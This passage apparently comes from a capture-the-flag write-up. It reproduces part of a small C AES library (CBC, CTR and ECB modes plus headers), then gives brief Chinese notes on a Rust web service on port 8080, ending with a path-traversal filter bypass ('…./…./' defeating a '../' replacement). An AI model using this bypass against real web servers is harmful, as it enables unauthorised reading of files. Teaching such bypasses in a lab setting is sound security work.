AddRoundKey(round, state, RoundKey);
InvShiftRows(state);
InvMixColumns(state);
InvSubBytes(state);
}
AddRoundKey(0, state, RoundKey);
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************/
/* Public functions: */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call encrypts the PlainText with the Key using AES algorithm.
Cipher((state_t*)buf, ctx->RoundKey);
}
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call decrypts the PlainText with the Key using AES algorithm.
InvCipher((state_t*)buf, ctx->RoundKey);
}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
{
uint8_t i;
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
{
buf[i] ^= Iv[i];
}
}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
XorWithIv(buf, Iv);
Cipher((state_t*)buf, ctx->RoundKey);
Iv = buf;
buf += AES_BLOCKLEN;
}
/* store Iv in ctx for next call */
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN)
{
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t*)buf, ctx->RoundKey);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}
}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
uint8_t buffer[AES_BLOCKLEN];
size_t i;
int bi;
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
{
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
{
memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
Cipher((state_t*)buffer,ctx->RoundKey);
/* Increment Iv and handle overflow */
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
{
/* inc will overflow */
if (ctx->Iv[bi] == 255)
{
ctx->Iv[bi] = 0;
continue;
}
ctx->Iv[bi] += 1;
break;
}
bi = 0;
}
buf[i] = (buf[i] ^ buffer[bi]);
}
}
#endif // #if defined(CTR) && (CTR == 1)
aes.h
#ifndef _AES_H_
#define _AES_H_
#include <stdint.h>
#include <stddef.h>
// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
#define CBC 1
#endif
#ifndef ECB
#define ECB 1
#endif
#ifndef CTR
#define CTR 1
#endif
#define AES128 1
//#define AES192 1
//#define AES256 1
#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only
#if defined(AES256) && (AES256 == 1)
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
#define AES_KEYLEN 24
#define AES_keyExpSize 208
#else
#define AES_KEYLEN 16 // Key length in bytes
#define AES_keyExpSize 176
#endif
struct AES_ctx
{
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif
#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes;
// you need only AES_init_ctx as IV is not used in ECB
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);
#endif // #if defined(ECB) && (ECB == !)
#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CTR) && (CTR == 1)
#endif // _AES_H_
aes.hpp
#ifndef _AES_HPP_
#define _AES_HPP_
#ifndef __cplusplus
#error Do not include the hpp header in a c project!
#endif //__cplusplus
extern "C" {
#include "aes.h"
}
#endif //_AES_HPP_
rust编写，会开启8080端口作为web服务，且只会处理get请求
可以看到../被过滤替换为/
…./…./绕过
结束
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